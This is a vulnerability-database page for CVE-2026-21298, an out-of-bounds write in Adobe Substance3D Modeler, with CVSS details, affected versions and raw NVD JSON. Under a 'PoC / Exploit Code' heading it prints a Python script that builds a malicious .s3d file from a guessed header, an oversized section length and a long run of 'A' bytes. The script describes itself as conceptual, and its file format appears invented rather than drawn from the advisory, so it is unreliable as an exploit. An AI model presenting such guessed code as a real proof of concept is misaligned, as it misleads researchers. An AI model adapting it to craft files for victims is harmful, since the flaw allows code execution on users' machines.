Security Vulnerability Report
中文
CVE-2026-21298 CVSS 7.8 HIGH

CVE-2026-21298

Published: 2026-01-13 21:15:53
Last Modified: 2026-01-14 17:57:53

Description

Substance3D - Modeler versions 1.22.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:substance_3d_modeler:*:*:*:*:*:*:*:* - VULNERABLE
Adobe Substance3D Modeler <= 1.22.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21298 PoC - Adobe Substance3D Modeler Out-of-Bounds Write # This is a conceptual PoC for demonstration purposes # Actual exploitation requires specific file format analysis import struct import os def create_malicious_s3d_file(): """ Generate a malicious S3D file that triggers OOB write vulnerability This PoC demonstrates the file structure needed for exploitation """ # File header for S3D format header = b'S3DM' # S3D Model file signature # Version field version = struct.pack('<I', 1) # Malicious payload that triggers OOB write # The vulnerability exists in file parsing without proper bounds checking # Attackers need to craft specific data that overflows the buffer overflow_size = 0x10000 # Large size to trigger overflow malicious_data = b'A' * overflow_size # Crafted section header that triggers vulnerable code path section_type = b'NODE' section_size = struct.pack('<I', overflow_size + 0x100) # File structure with open('CVE-2026-21298_malicious.s3d', 'wb') as f: f.write(header) f.write(version) f.write(section_type) f.write(section_size) f.write(malicious_data) print(f"[+] Created malicious file: CVE-2026-21298_malicious.s3d") print(f"[+] File size: {os.path.getsize('CVE-2026-21298_malicious.s3d')} bytes") print(f"[+] Overflow payload size: {overflow_size} bytes") if __name__ == '__main__': create_malicious_s3d_file() print("\n[!] Note: This PoC is for educational and security research purposes only.") print("[!] Always test in controlled environments and follow responsible disclosure.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21298", "sourceIdentifier": "[email protected]", "published": "2026-01-13T21:15:53.307", "lastModified": "2026-01-14T17:57:53.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Modeler versions 1.22.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}, {"lang": "es", "value": "Substance3D - Modeler versiones 1.22.4 y anteriores están afectadas por una vulnerabilidad de escritura fuera de límites que podría resultar en ejecución de código arbitrario en el contexto del usuario actual. La explotación de este problema requiere interacción del usuario en el sentido de que una víctima debe abrir un archivo malicioso."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_modeler:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.22.5", "matchCriteriaId": "D5A6870D-D2DE-4B8F-8680-3717CA179D14"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d-modeler/apsb26-08.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}